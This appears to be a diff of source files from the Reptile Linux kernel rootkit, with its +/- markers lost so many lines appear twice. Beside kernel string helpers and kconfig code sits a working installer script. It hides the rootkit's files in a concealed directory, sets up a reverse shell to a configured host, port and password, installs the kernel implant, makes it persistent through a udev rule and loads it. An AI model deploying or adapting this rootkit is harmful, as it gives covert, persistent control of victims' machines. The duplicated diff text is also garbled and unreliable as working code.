#include <linux/slab.h> // 包含内核内存分配头文件
#include <linux/ctype.h> // 包含字符类型处理头文件
#include <linux/slab.h>
#include <linux/ctype.h>
// 定义各种转义标志
#define ESCAPE_SPACE 0x01
#define ESCAPE_SPECIAL 0x02
#define ESCAPE_NULL 0x04
#define ESCAPE_OCTAL 0x08
#define ESCAPE_ANY (ESCAPE_SPACE | ESCAPE_OCTAL | ESCAPE_SPECIAL | ESCAPE_NULL)
#define ESCAPE_NP 0x10
#define ESCAPE_ANY_NP (ESCAPE_ANY | ESCAPE_NP)
#define ESCAPE_HEX 0x20
#define ESCAPE_SPACE 0x01
#define ESCAPE_SPECIAL 0x02
#define ESCAPE_NULL 0x04
#define ESCAPE_OCTAL 0x08
#define ESCAPE_ANY (ESCAPE_SPACE | ESCAPE_OCTAL | ESCAPE_SPECIAL | ESCAPE_NULL)
#define ESCAPE_NP 0x10
#define ESCAPE_ANY_NP (ESCAPE_ANY | ESCAPE_NP)
#define ESCAPE_HEX 0x20
// 处理直接通过字符
static bool escape_passthrough(unsigned char c, char **dst, char *end)
{
char *out = *dst;
if (out < end)
*out = c; // 直接复制字符
*out = c;
*dst = out + 1;
return true;
}
// 处理空白字符转义
static bool escape_space(unsigned char c, char **dst, char *end)
{
char *out = *dst;
@ -36,36 +34,35 @@ static bool escape_space(unsigned char c, char **dst, char *end)
switch (c) {
case '\n':
to = 'n'; // 换行符转义为 \n
to = 'n';
break;
case '\r':
to = 'r'; // 回车符转义为 \r
to = 'r';
break;
case '\t':
to = 't'; // 制表符转义为 \t
to = 't';
break;
case '\v':
to = 'v'; // 垂直制表符转义为 \v
to = 'v';
break;
case '\f':
to = 'f'; // 换页符转义为 \f
to = 'f';
break;
default:
return false; // 不是空白字符
return false;
}
if (out < end)
*out = '\\'; // 添加转义符
*out = '\\';
++out;
if (out < end)
*out = to; // 添加转义后的字符
*out = to;
++out;
*dst = out;
return true;
}
// 处理特殊字符转义
static bool escape_special(unsigned char c, char **dst, char *end)
{
char *out = *dst;
@ -73,95 +70,91 @@ static bool escape_special(unsigned char c, char **dst, char *end)
switch (c) {
case '\\':
to = '\\'; // \\
to = '\\';
break;
case '\a':
to = 'a'; // 响铃符转义为 \a
to = 'a';
break;
case '\e':
to = 'e'; // 转义符转义为 \e
to = 'e';
break;
default:
return false; // 不是特殊字符
return false;
}
if (out < end)
*out = '\\'; // 添加转义符
*out = '\\';
++out;
if (out < end)
*out = to; // 添加转义后的字符
*out = to;
++out;
*dst = out;
return true;
}
// 处理空字符转义
static bool escape_null(unsigned char c, char **dst, char *end)
{
char *out = *dst;
if (c)
return false; // 不是空字符
return false;
if (out < end)
*out = '\\'; // 添加转义符
*out = '\\';
++out;
if (out < end)
*out = '0'; // 添加转义后的字符
*out = '0';
++out;
*dst = out;
return true;
}
// 处理八进制字符转义
static bool escape_octal(unsigned char c, char **dst, char *end)
{
char *out = *dst;
if (out < end)
*out = '\\'; // 添加转义符
*out = '\\';
++out;
if (out < end)
*out = ((c >> 6) & 0x07) + '0'; // 添加八进制字符的高三位
*out = ((c >> 6) & 0x07) + '0';
++out;
if (out < end)
*out = ((c >> 3) & 0x07) + '0'; // 添加八进制字符的中三位
*out = ((c >> 3) & 0x07) + '0';
++out;
if (out < end)
*out = ((c >> 0) & 0x07) + '0'; // 添加八进制字符的低三位
*out = ((c >> 0) & 0x07) + '0';
++out;
*dst = out;
return true;
}
// 处理十六进制字符转义
static bool escape_hex(unsigned char c, char **dst, char *end)
{
char *out = *dst;
if (out < end)
*out = '\\'; // 添加转义符
*out = '\\';
++out;
if (out < end)
*out = 'x'; // 添加十六进制标识符
*out = 'x';
++out;
if (out < end)
*out = hex_asc_hi(c); // 添加十六进制字符的高四位
*out = hex_asc_hi(c);
++out;
if (out < end)
*out = hex_asc_lo(c); // 添加十六进制字符的低四位
*out = hex_asc_lo(c);
++out;
*dst = out;
return true;
}
// 将字符串中的字符进行转义处理
int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz,
unsigned int flags, const char *only)
unsigned int flags, const char *only)
{
char *p = dst;
char *end = p + osz;
@ -171,15 +164,19 @@ int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz,
unsigned char c = *src++;
/*
* :
* - @flags %ESCAPE_NP
* - @only
* - @flags
*
* Apply rules in the following sequence:
* - the character is printable, when @flags has
* %ESCAPE_NP bit set
* - the @only string is supplied and does not contain a
* character under question
* - the character doesn't fall into a class of symbols
* defined by given @flags
* In these cases we just pass through a character to the
* output buffer.
*/
if ((flags & ESCAPE_NP && isprint(c)) ||
(is_dict && !strchr(only, c))) {
/* 不做任何处理 */
(is_dict && !strchr(only, c))) {
/* do nothing */
} else {
if (flags & ESCAPE_SPACE && escape_space(c, &p, end))
continue;
@ -190,7 +187,7 @@ int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz,
if (flags & ESCAPE_NULL && escape_null(c, &p, end))
continue;
/* ESCAPE_OCTAL 和 ESCAPE_HEX 总是最后处理 */
/* ESCAPE_OCTAL and ESCAPE_HEX always go last */
if (flags & ESCAPE_OCTAL && escape_octal(c, &p, end))
continue;
@ -198,13 +195,12 @@ int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz,
continue;
}
escape_passthrough(c, &p, end); // 直接通过字符
escape_passthrough(c, &p, end);
}
return p - dst; // 返回处理后的字符串长度
return p - dst;
}
// 复制并转义字符串
char *kstrdup_quotable(const char *src, gfp_t gfp)
{
size_t slen, dlen;
@ -216,54 +212,52 @@ char *kstrdup_quotable(const char *src, gfp_t gfp)
return NULL;
slen = strlen(src);
dlen = string_escape_mem(src, slen, NULL, 0, flags, esc); // 计算转义后的长度
dst = kmalloc(dlen + 1, gfp); // 分配内存
dlen = string_escape_mem(src, slen, NULL, 0, flags, esc);
dst = kmalloc(dlen + 1, gfp);
if (!dst)
return NULL;
WARN_ON(string_escape_mem(src, slen, dst, dlen, flags, esc) != dlen); // 转义字符串
dst[dlen] = '\0'; // 添加字符串结束符
WARN_ON(string_escape_mem(src, slen, dst, dlen, flags, esc) != dlen);
dst[dlen] = '\0';
return dst;
}
#include "util.h"
// 复制并转义命令行字符串
char *kstrdup_quotable_cmdline(struct task_struct *task, gfp_t gfp)
{
char *buffer, *quoted;
int i, res;
buffer = kmalloc(PAGE_SIZE, GFP_KERNEL); // 分配内存
buffer = kmalloc(PAGE_SIZE, GFP_KERNEL);
if (!buffer)
return NULL;
res = get_cmdline(task, buffer, PAGE_SIZE - 1); // 获取命令行
buffer[res] = '\0'; // 添加字符串结束符
res = get_cmdline(task, buffer, PAGE_SIZE - 1);
buffer[res] = '\0';
/* 折叠尾随的 NULL保留 res 指向最后一个非 NULL。 */
/* Collapse trailing NULLs, leave res pointing to last non-NULL. */
while (--res >= 0 && buffer[res] == '\0')
;
/* 替换参数之间的 NULL。 */
/* Replace inter-argument NULLs. */
for (i = 0; i <= res; i++)
if (buffer[i] == '\0')
buffer[i] = ' ';
/* 确保结果是可打印的。 */
quoted = kstrdup_quotable(buffer, gfp); // 转义字符串
kfree(buffer); // 释放内存
/* Make sure result is printable. */
quoted = kstrdup_quotable(buffer, gfp);
kfree(buffer);
return quoted;
}
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0)
// 替换字符串中的字符
char *strreplace(char *s, char old, char new)
{
for (; *s; ++s)
if (*s == old)
*s = new; // 替换字符
*s = new;
return s;
}

@ -1,120 +1,116 @@
#include <linux/kmod.h> // 包含内核模块相关的头文件
#include <linux/kallsyms.h> // 包含内核符号表相关的头文件
#include <linux/types.h> // 包含内核类型定义的头文件
#include <linux/slab.h> // 包含内核内存分配相关的头文件
#include <linux/mm.h> // 包含内存管理相关的头文件
#include <linux/sched.h> // 包含调度相关的头文件
#include <linux/version.h> // 包含内核版本相关的头文件
#include <linux/ctype.h> // 包含字符类型相关的头文件
//访问和操作进程的命令行参数
#include <linux/kmod.h>
#include <linux/kallsyms.h>
#include <linux/types.h>
#include <linux/slab.h>
#include <linux/mm.h>
#include <linux/sched.h>
#include <linux/version.h>
#include <linux/ctype.h>
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
# include <linux/sched/mm.h> // 包含调度和内存管理相关的头文件仅在内核版本4.11.0及以上)
# include <linux/sched/mm.h>
#endif
#include "util.h" // 包含自定义的util头文件
#include "util.h"
// 声明一个函数指针,用于访问进程虚拟内存
asmlinkage int (*_access_process_vm)(struct task_struct *, unsigned long, void *, int, int);
int util_init(void)
{
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
// 在内核版本4.11.0及以上直接使用access_process_vm函数
_access_process_vm = (void *) access_process_vm;
_access_process_vm = (void *) access_process_vm;
#else
// 在内核版本4.11.0以下通过符号表查找access_process_vm函数
_access_process_vm = (void *) ksym_lookup_name("access_process_vm");
#endif
// 如果函数指针为空,返回错误
if (!_access_process_vm)
if (!_access_process_vm)
return -EFAULT;
return 0; // 初始化成功返回0
return 0;
}
/* 从mm/util.c文件中借用的函数 */
/* stolen from mm/util.c */
// 获取进程的命令行参数
int get_cmdline(struct task_struct *task, char *buffer, int buflen)
{
int res = 0; // 初始化返回值
unsigned int len; // 命令行参数的长度
struct mm_struct *mm = get_task_mm(task); // 获取进程的内存描述符
unsigned long arg_start, arg_end, env_start, env_end; // 命令行参数和环境变量的起始和结束地址
if (!mm) // 如果内存描述符为空跳转到out标签
int res = 0;
unsigned int len;
struct mm_struct *mm = get_task_mm(task);
unsigned long arg_start, arg_end, env_start, env_end;
if (!mm)
goto out;
if (!mm->arg_end) // 如果命令行参数的结束地址为空跳转到out_mm标签
if (!mm->arg_end)
goto out_mm;
down_read(&mm->mmap_sem); // 获取内存描述符的读锁
arg_start = mm->arg_start; // 获取命令行参数的起始地址
arg_end = mm->arg_end; // 获取命令行参数的结束地址
env_start = mm->env_start; // 获取环境变量的起始地址
env_end = mm->env_end; // 获取环境变量的结束地址
up_read(&mm->mmap_sem); // 释放内存描述符的读锁
down_read(&mm->mmap_sem);
arg_start = mm->arg_start;
arg_end = mm->arg_end;
env_start = mm->env_start;
env_end = mm->env_end;
up_read(&mm->mmap_sem);
len = arg_end - arg_start; // 计算命令行参数的长度
len = arg_end - arg_start;
if (len > buflen) // 如果长度大于缓冲区长度,截断长度
if (len > buflen)
len = buflen;
// 读取进程的命令行参数到缓冲区
res = _access_process_vm(task, arg_start, buffer, len, FOLL_FORCE);
// 如果命令行参数的末尾被覆盖假设应用程序使用了setproctitle(3)
/*
* If the nul at the end of args has been overwritten, then
* assume application is using setproctitle(3).
*/
if (res > 0 && buffer[res-1] != '\0' && len < buflen) {
len = strnlen(buffer, res); // 获取缓冲区的实际长度
len = strnlen(buffer, res);
if (len < res) {
res = len; // 更新返回值
res = len;
} else {
len = env_end - env_start; // 计算环境变量的长度
if (len > buflen - res) // 如果长度大于剩余缓冲区长度,截断长度
len = env_end - env_start;
if (len > buflen - res)
len = buflen - res;
// 读取进程的环境变量到缓冲区
res += _access_process_vm(task, env_start, buffer+res, len, FOLL_FORCE);
res = strnlen(buffer, res); // 获取缓冲区的实际长度
res = strnlen(buffer, res);
}
}
out_mm:
mmput(mm); // 释放内存描述符
mmput(mm);
out:
return res; // 返回读取的长度
return res;
}
/*
static int count_argc(const char *str)
{
int count = 0; // 初始化参数计数
bool was_space; // 标记上一个字符是否为空格
int count = 0;
bool was_space;
for (was_space = true; *str; str++) {
if (isspace(*str)) { // 如果当前字符为空格
was_space = true; // 更新标记
} else if (was_space) { // 如果当前字符不是空格且上一个字符为空格
was_space = false; // 更新标记
count++; // 增加参数计数
if (isspace(*str)) {
was_space = true;
} else if (was_space) {
was_space = false;
count++;
}
}
return count; // 返回参数计数
return count;
}
int run_cmd(const char *cmd)
{
char **argv; // 参数数组
int ret; // 返回值
int i; // 循环变量
char **argv;
int ret;
int i;
argv = argv_split(GFP_KERNEL, cmd, NULL); // 分割命令行参数
argv = argv_split(GFP_KERNEL, cmd, NULL);
if (argv) {
ret = exec(argv); // 执行命令
argv_free(argv); // 释放参数数组
ret = exec(argv);
argv_free(argv);
} else {
ret = -ENOMEM; // 内存分配失败,返回错误
ret = -ENOMEM;
}
return ret; // 返回执行结果
return ret;
}
*/

@ -0,0 +1,65 @@
#!/bin/bash
function random_gen_dec {
RETVAL=$(shuf -i 50-99 -n 1)
}
PWD="$(cd "$(dirname ${BASH_SOURCE[0]})" && pwd)"
[ $? -ne 0 ] && PWD="$(cd "$(dirname $0)" && pwd)"
source "${BASH_SOURCE%/*}/../.config" || \
{ echo "Error: no .config file found!"; exit; }
UDEV_DIR=/lib/udev
random_gen_dec && NAME=$RETVAL-$HIDE.rules
RULE=/lib/udev/rules.d/$NAME
[ ! -d /lib/udev/rules.d ] && RULE=/etc/udev/rules.d/$NAME
# Create Reptile's folder
mkdir -p /$HIDE && \
# Copy "cmd" binary
cp $PWD/../output/cmd /$HIDE/$HIDE"_cmd" && \
# Copy "shell" binary
cp $PWD/../output/shell /$HIDE/$HIDE"_shell" && \
# Copy "bashrc"
cp $PWD/../scripts/bashrc /$HIDE/$HIDE"_rc" && \
# Create start script
cp $PWD/../scripts/start /$HIDE/$HIDE"_start" && \
sed -i s!XXXXX!$TAG_NAME! /$HIDE/$HIDE"_start" && \
sed -i s!\#CMD!/$HIDE/$HIDE"_cmd"! /$HIDE/$HIDE"_start" && \
if [ "$CONFIG_RSHELL_ON_START" == "y" ]; then
sed -i s!\#SHELL!/$HIDE/$HIDE"_shell"! /$HIDE/$HIDE"_start" && \
sed -i s!LHOST!$LHOST! /$HIDE/$HIDE"_start" && \
sed -i s!LPORT!$LPORT! /$HIDE/$HIDE"_start" && \
sed -i s!PASS!$PASSWORD! /$HIDE/$HIDE"_start" && \
sed -i s!INTERVAL!$INTERVAL! /$HIDE/$HIDE"_start" && \
true || false;
fi
# Permissions
chmod 777 /$HIDE/* && \
# Copy kernel implant
cp $PWD/../output/reptile /$HIDE/$HIDE && \
# Make persistent
cp $PWD/../output/reptile $UDEV_DIR/$HIDE && \
cp $PWD/../scripts/rule $RULE && \
# cleaning output dir
rm -rf $PWD/../output && \
# Load Reptile
/$HIDE/$HIDE && \
echo -e "\n\e[44;01;33m*** DONE! ***\e[00m\n" || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }
# How to Uninstall
echo -e "UNINSTALL:\n"
echo -e "/$HIDE/$HIDE""_cmd show"
echo -e "rmmod reptile_module"
echo -e "rm -rf /$HIDE $RULE $UDEV_DIR/$HIDE"
echo

@ -3,306 +3,265 @@
* Released under the terms of the GNU GPL v2.0.
*/
#include <locale.h> // 引入本地化相关功能的头文件
#include <ctype.h> // 引入字符处理函数的头文件,例如 isspace、isdigit 等
#include <stdio.h> // 引入标准输入输出库
#include <stdlib.h> // 引入标准库,提供内存管理、程序退出等功能
#include <string.h> // 引入字符串处理函数库
#include <time.h> // 引入时间日期相关函数
#include <unistd.h> // 引入 Unix 系统 API提供与系统交互的功能
#include <getopt.h> // 引入命令行参数解析函数
#include <sys/stat.h> // 引入文件状态函数
#include <sys/time.h> // 引入时间管理函数
#include <errno.h> // 引入错误码定义
#include "lkc.h" // 引入项目自定义的头文件
// 函数声明
static void conf(struct menu *menu); // 配置函数
static void check_conf(struct menu *menu); // 检查配置函数
static void xfgets(char *str, int size, FILE *in); // 自定义的 fgets 函数
// 定义输入模式枚举类型
#include <locale.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <errno.h>
#include "lkc.h"
static void conf(struct menu *menu);
static void check_conf(struct menu *menu);
static void xfgets(char *str, int size, FILE *in);
enum input_mode {
oldaskconfig, // 用户交互模式
silentoldconfig, // 无用户交互模式,使用默认值
oldconfig, // 使用旧的配置
allnoconfig, // 所有选项都为 no
allyesconfig, // 所有选项都为 yes
allmodconfig, // 所有选项都为模块
alldefconfig, // 所有选项都为默认值
randconfig, // 随机配置
defconfig, // 使用默认配置
savedefconfig, // 保存默认配置
listnewconfig, // 列出新的配置项
olddefconfig, // 使用旧的默认配置
} input_mode = oldaskconfig; // 设置默认输入模式为 oldaskconfig
// 静态变量声明
static int indent = 1; // 配置输出时的缩进级别
static int tty_stdio; // 标识标准输入输出是否是终端设备
static int valid_stdin = 1; // 标识标准输入是否有效
static int sync_kconfig; // 同步配置标志
static int conf_cnt; // 配置项计数器
static char line[128]; // 用于存储输入行的缓冲区
static struct menu *rootEntry; // 配置菜单的根节点指针
// 打印帮助信息
oldaskconfig,
silentoldconfig,
oldconfig,
allnoconfig,
allyesconfig,
allmodconfig,
alldefconfig,
randconfig,
defconfig,
savedefconfig,
listnewconfig,
olddefconfig,
} input_mode = oldaskconfig;
static int indent = 1;
static int tty_stdio;
static int valid_stdin = 1;
static int sync_kconfig;
static int conf_cnt;
static char line[128];
static struct menu *rootEntry;
static void print_help(struct menu *menu)
{
struct gstr help = str_new(); // 创建一个新的字符串对象
struct gstr help = str_new();
menu_get_ext_help(menu, &help); // 获取菜单项的扩展帮助信息
menu_get_ext_help(menu, &help);
printf("\n%s\n", str_get(&help)); // 打印帮助信息
str_free(&help); // 释放帮助字符串资源
printf("\n%s\n", str_get(&help));
str_free(&help);
}
// 去除字符串两端的空白字符
static void strip(char *str)
{
char *p = str;
int l;
// 跳过前导空格
while ((isspace(*p)))
p++;
l = strlen(p); // 获取字符串的长度
if (p != str) // 如果有前导空格,移动字符串内容
memmove(str, p, l + 1);
if (!l) // 如果字符串为空,返回
return;
// 去除尾部空格
p = str + l - 1;
while ((isspace(*p))) // 从字符串末尾向前查找空格并去除
*p-- = 0;
char *p = str;
int l;
while ((isspace(*p)))
p++;
l = strlen(p);
if (p != str)
memmove(str, p, l + 1);
if (!l)
return;
p = str + l - 1;
while ((isspace(*p)))
*p-- = 0;
}
// 检查标准输入是否有效
static void check_stdin(void)
{
if (!valid_stdin) { // 如果标准输入无效
printf(_("aborted!\n\n"));
printf(_("Console input/output is redirected. "));
printf(_("Run 'make oldconfig' to update configuration.\n\n"));
exit(1); // 退出程序
}
if (!valid_stdin) {
printf(_("aborted!\n\n"));
printf(_("Console input/output is redirected. "));
printf(_("Run 'make oldconfig' to update configuration.\n\n"));
exit(1);
}
}
// 配置选项的处理函数
static int conf_askvalue(struct symbol *sym, const char *def)
{
enum symbol_type type = sym_get_type(sym); // 获取符号的类型
if (!sym_has_value(sym)) // 如果没有值,标记为新选项
printf(_("(NEW) "));
line[0] = '\n';
line[1] = 0;
if (!sym_is_changable(sym)) { // 如果符号不可修改,直接输出默认值
printf("%s\n", def);
line[0] = '\n';
line[1] = 0;
return 0;
}
// 根据输入模式不同执行不同的操作
switch (input_mode) {
case oldconfig:
case silentoldconfig:
if (sym_has_value(sym)) { // 如果已有值,直接输出默认值
printf("%s\n", def);
return 0;
}
check_stdin(); // 检查标准输入有效性
/* fall through */
case oldaskconfig:
fflush(stdout); // 刷新标准输出缓冲区
xfgets(line, 128, stdin); // 获取用户输入
if (!tty_stdio) // 如果标准输入不是终端,换行
printf("\n");
return 1;
default:
break;
}
// 根据符号类型进行处理
switch (type) {
case S_INT:
case S_HEX:
case S_STRING:
printf("%s\n", def);
return 1;
default:
;
}
printf("%s", line); // 输出用户输入的内容
return 1;
enum symbol_type type = sym_get_type(sym);
if (!sym_has_value(sym))
printf(_("(NEW) "));
line[0] = '\n';
line[1] = 0;
if (!sym_is_changable(sym)) {
printf("%s\n", def);
line[0] = '\n';
line[1] = 0;
return 0;
}
switch (input_mode) {
case oldconfig:
case silentoldconfig:
if (sym_has_value(sym)) {
printf("%s\n", def);
return 0;
}
check_stdin();
/* fall through */
case oldaskconfig:
fflush(stdout);
xfgets(line, 128, stdin);
if (!tty_stdio)
printf("\n");
return 1;
default:
break;
}
switch (type) {
case S_INT:
case S_HEX:
case S_STRING:
printf("%s\n", def);
return 1;
default:
;
}
printf("%s", line);
return 1;
}
// 配置字符串类型的处理函数
static int conf_string(struct menu *menu)
{
struct symbol *sym = menu->sym;
const char *def;
while (1) {
printf("%*s%s ", indent - 1, "", _(menu->prompt->text)); // 打印菜单提示
printf("(%s) ", sym->name); // 打印符号名称
def = sym_get_string_value(sym); // 获取符号的默认字符串值
if (def) // 如果有默认值,打印出来
printf("[%s] ", def);
if (!conf_askvalue(sym, def)) // 获取用户输入并处理
return 0;
// 根据用户输入的内容进行处理
switch (line[0]) {
case '\n':
break; // 如果用户没有输入内容,继续
case '?':
// 打印帮助信息
if (line[1] == '\n') {
print_help(menu); // 打印帮助
def = NULL;
break;
}
/* fall through */
default:
line[strlen(line) - 1] = 0; // 去掉换行符
def = line; // 将用户输入的内容赋给 def
}
// 设置符号的字符串值
if (def && sym_set_string_value(sym, def))
return 0;
}
}
struct symbol *sym = menu->sym;
const char *def;
while (1) {
printf("%*s%s ", indent - 1, "", _(menu->prompt->text));
printf("(%s) ", sym->name);
def = sym_get_string_value(sym);
if (sym_get_string_value(sym))
printf("[%s] ", def);
if (!conf_askvalue(sym, def))
return 0;
switch (line[0]) {
case '\n':
break;
case '?':
/* print help */
if (line[1] == '\n') {
print_help(menu);
def = NULL;
break;
}
/* fall through */
default:
line[strlen(line)-1] = 0;
def = line;
}
if (def && sym_set_string_value(sym, def))
return 0;
}
}
// 配置符号的值yes、no、mod的函数
static int conf_sym(struct menu *menu)
{
struct symbol *sym = menu->sym; // 获取菜单项的符号
tristate oldval, newval; // 旧值和新值变量tristate表示三种状态yes、no、mod
while (1) {
// 打印菜单提示信息,包括符号名称(如果存在)
printf("%*s%s ", indent - 1, "", _(menu->prompt->text)); // 打印缩进和提示文本
if (sym->name) // 如果符号有名称,打印符号名称
printf("(%s) ", sym->name);
putchar('['); // 打印开头的方括号
oldval = sym_get_tristate_value(sym); // 获取符号的当前值
// 根据当前的状态值oldval打印相应的字符
switch (oldval) {
case no:
putchar('N'); // 输出 'N' 表示当前为 no
break;
case mod:
putchar('M'); // 输出 'M' 表示当前为 mod
break;
case yes:
putchar('Y'); // 输出 'Y' 表示当前为 yes
break;
}
// 根据当前的状态值显示可选的值no、mod、yes如果符号的值在范围内
if (oldval != no && sym_tristate_within_range(sym, no))
printf("/n");
if (oldval != mod && sym_tristate_within_range(sym, mod))
printf("/m");
if (oldval != yes && sym_tristate_within_range(sym, yes))
printf("/y");
// 如果菜单项有帮助信息,显示帮助提示
if (menu_has_help(menu))
printf("/?");
printf("] "); // 打印结束的方括号
// 询问用户输入新值,如果没有输入有效值,返回 0
if (!conf_askvalue(sym, sym_get_string_value(sym)))
return 0;
strip(line); // 去除用户输入的字符串两端空格
// 根据用户输入的值进行处理
switch (line[0]) {
case 'n':
case 'N': // 如果输入是 'n' 或 'N',设置新值为 no
newval = no;
if (!line[1] || !strcmp(&line[1], "o"))
break;
continue; // 如果有其他字符,继续下一次循环
case 'm':
case 'M': // 如果输入是 'm' 或 'M',设置新值为 mod
newval = mod;
if (!line[1])
break;
continue; // 如果有其他字符,继续下一次循环
case 'y':
case 'Y': // 如果输入是 'y' 或 'Y',设置新值为 yes
newval = yes;
if (!line[1] || !strcmp(&line[1], "es"))
break;
continue; // 如果有其他字符,继续下一次循环
case 0: // 如果没有输入内容,保留旧值
newval = oldval;
break;
case '?': // 如果输入是 '?',显示帮助
goto help;
default:
continue; // 继续循环,直到输入合法
}
// 设置符号的新值
if (sym_set_tristate_value(sym, newval))
return 0; // 如果设置失败,返回 0
struct symbol *sym = menu->sym;
tristate oldval, newval;
while (1) {
printf("%*s%s ", indent - 1, "", _(menu->prompt->text));
if (sym->name)
printf("(%s) ", sym->name);
putchar('[');
oldval = sym_get_tristate_value(sym);
switch (oldval) {
case no:
putchar('N');
break;
case mod:
putchar('M');
break;
case yes:
putchar('Y');
break;
}
if (oldval != no && sym_tristate_within_range(sym, no))
printf("/n");
if (oldval != mod && sym_tristate_within_range(sym, mod))
printf("/m");
if (oldval != yes && sym_tristate_within_range(sym, yes))
printf("/y");
if (menu_has_help(menu))
printf("/?");
printf("] ");
if (!conf_askvalue(sym, sym_get_string_value(sym)))
return 0;
strip(line);
switch (line[0]) {
case 'n':
case 'N':
newval = no;
if (!line[1] || !strcmp(&line[1], "o"))
break;
continue;
case 'm':
case 'M':
newval = mod;
if (!line[1])
break;
continue;
case 'y':
case 'Y':
newval = yes;
if (!line[1] || !strcmp(&line[1], "es"))
break;
continue;
case 0:
newval = oldval;
break;
case '?':
goto help;
default:
continue;
}
if (sym_set_tristate_value(sym, newval))
return 0;
help:
print_help(menu); // 打印帮助信息
}
print_help(menu);
}
}
// 配置选择菜单项的函数
static int conf_choice(struct menu *menu)
{
struct symbol *sym, *def_sym;
struct menu *child;
bool is_new;
sym = menu->sym; // 获取当前菜单项的符号
is_new = !sym_has_value(sym); // 检查符号是否有值(是否为新符号)
// 如果符号可修改,进行符号的配置
if (sym_is_changable(sym)) {
conf_sym(menu); // 调用 conf_sym 函数配置符号
sym_calc_value(sym); // 计算符号的值
// 根据符号的值执行不同的操作
switch (sym_get_tristate_value(sym)) {
case no: // 如果值是 no返回 1
return 1;
case mod: // 如果值是 mod返回 0
return 0;
case yes: // 如果值是 yes继续执行
break;
}
} else { // 如果符号不可修改
switch (sym_get_tristate_value(sym)) {
case no: // 如果值是 no返回 1
return 1;
case mod: // 如果值是 mod打印菜单提示并返回 0
printf("%*s%s\n", indent - 1, "", _(menu_get_prompt(menu)));
return 0;
case yes: // 如果值是 yes继续执行
break;
}
}
}
struct symbol *sym, *def_sym;
struct menu *child;
bool is_new;
sym = menu->sym;
is_new = !sym_has_value(sym);
if (sym_is_changable(sym)) {
conf_sym(menu);
sym_calc_value(sym);
switch (sym_get_tristate_value(sym)) {
case no:
return 1;
case mod:
return 0;
case yes:
break;
}
} else {
switch (sym_get_tristate_value(sym)) {
case no:
return 1;
case mod:
printf("%*s%s\n", indent - 1, "", _(menu_get_prompt(menu)));
return 0;
case yes:
break;
}
}
while (1) {
int cnt, def;

@ -17,473 +17,456 @@
#include "lkc.h"
// 定义警告信息输出函数
static void conf_warning(const char *fmt, ...)
__attribute__ ((format (printf, 1, 2)));
__attribute__ ((format (printf, 1, 2)));
// 定义普通信息输出函数
static void conf_message(const char *fmt, ...)
__attribute__ ((format (printf, 1, 2)));
__attribute__ ((format (printf, 1, 2)));
// 配置文件名
static const char *conf_filename;
// 当前行号
static int conf_lineno, conf_warnings, conf_unsaved;
// 默认配置文件名
const char conf_defname[] = ".defconfig";
// 输出警告信息
static void conf_warning(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
fprintf(stderr, "%s:%d:warning: ", conf_filename, conf_lineno);
vfprintf(stderr, fmt, ap);
fprintf(stderr, "\n");
va_end(ap);
conf_warnings++;
va_list ap;
va_start(ap, fmt);
fprintf(stderr, "%s:%d:warning: ", conf_filename, conf_lineno);
vfprintf(stderr, fmt, ap);
fprintf(stderr, "\n");
va_end(ap);
conf_warnings++;
}
// 默认的消息回调函数
static void conf_default_message_callback(const char *fmt, va_list ap)
{
printf("#\n# ");
vprintf(fmt, ap);
printf("\n#\n");
printf("#\n# ");
vprintf(fmt, ap);
printf("\n#\n");
}
// 消息回调函数指针
static void (*conf_message_callback) (const char *fmt, va_list ap) =
conf_default_message_callback;
// 设置消息回调函数
conf_default_message_callback;
void conf_set_message_callback(void (*fn) (const char *fmt, va_list ap))
{
conf_message_callback = fn;
conf_message_callback = fn;
}
// 输出消息信息
static void conf_message(const char *fmt, ...)
{
va_list ap;
va_list ap;
va_start(ap, fmt);
if (conf_message_callback)
conf_message_callback(fmt, ap);
va_start(ap, fmt);
if (conf_message_callback)
conf_message_callback(fmt, ap);
}
// 获取配置文件名
const char *conf_get_configname(void)
{
char *name = getenv(PRODUCT_ENV"_CONFIG");
char *name = getenv(PRODUCT_ENV"_CONFIG");
return name ? name : ".config";
return name ? name : ".config";
}
// 获取自动配置文件名
const char *conf_get_autoconfig_name(void)
{
return getenv(PRODUCT_ENV"_AUTOCONFIG");
return getenv(PRODUCT_ENV"_AUTOCONFIG");
}
// 展开配置值中的变量
static char *conf_expand_value(const char *in)
{
struct symbol *sym;
const char *src;
static char res_value[SYMBOL_MAXLENGTH];
char *dst, name[SYMBOL_MAXLENGTH];
res_value[0] = 0;
dst = name;
while ((src = strchr(in, '$'))) {
strncat(res_value, in, src - in);
src++;
dst = name;
while (isalnum(*src) || *src == '_')
*dst++ = *src++;
*dst = 0;
sym = sym_lookup(name, 0);
sym_calc_value(sym);
strcat(res_value, sym_get_string_value(sym));
in = src;
}
strcat(res_value, in);
return res_value;
struct symbol *sym;
const char *src;
static char res_value[SYMBOL_MAXLENGTH];
char *dst, name[SYMBOL_MAXLENGTH];
res_value[0] = 0;
dst = name;
while ((src = strchr(in, '$'))) {
strncat(res_value, in, src - in);
src++;
dst = name;
while (isalnum(*src) || *src == '_')
*dst++ = *src++;
*dst = 0;
sym = sym_lookup(name, 0);
sym_calc_value(sym);
strcat(res_value, sym_get_string_value(sym));
in = src;
}
strcat(res_value, in);
return res_value;
}
// 获取默认配置文件名
char *conf_get_default_confname(void)
{
struct stat buf;
static char fullname[PATH_MAX+1];
char *env, *name;
name = conf_expand_value(conf_defname);
env = getenv(SRCTREE);
if (env) {
sprintf(fullname, "%s/%s", env, name);
if (!stat(fullname, &buf))
return fullname;
}
return name;
struct stat buf;
static char fullname[PATH_MAX+1];
char *env, *name;
name = conf_expand_value(conf_defname);
env = getenv(SRCTREE);
if (env) {
sprintf(fullname, "%s/%s", env, name);
if (!stat(fullname, &buf))
return fullname;
}
return name;
}
// 设置符号值
static int conf_set_sym_val(struct symbol *sym, int def, int def_flags, char *p)
{
char *p2;
switch (sym->type) {
case S_TRISTATE:
if (p[0] == 'm') {
sym->def[def].tri = mod;
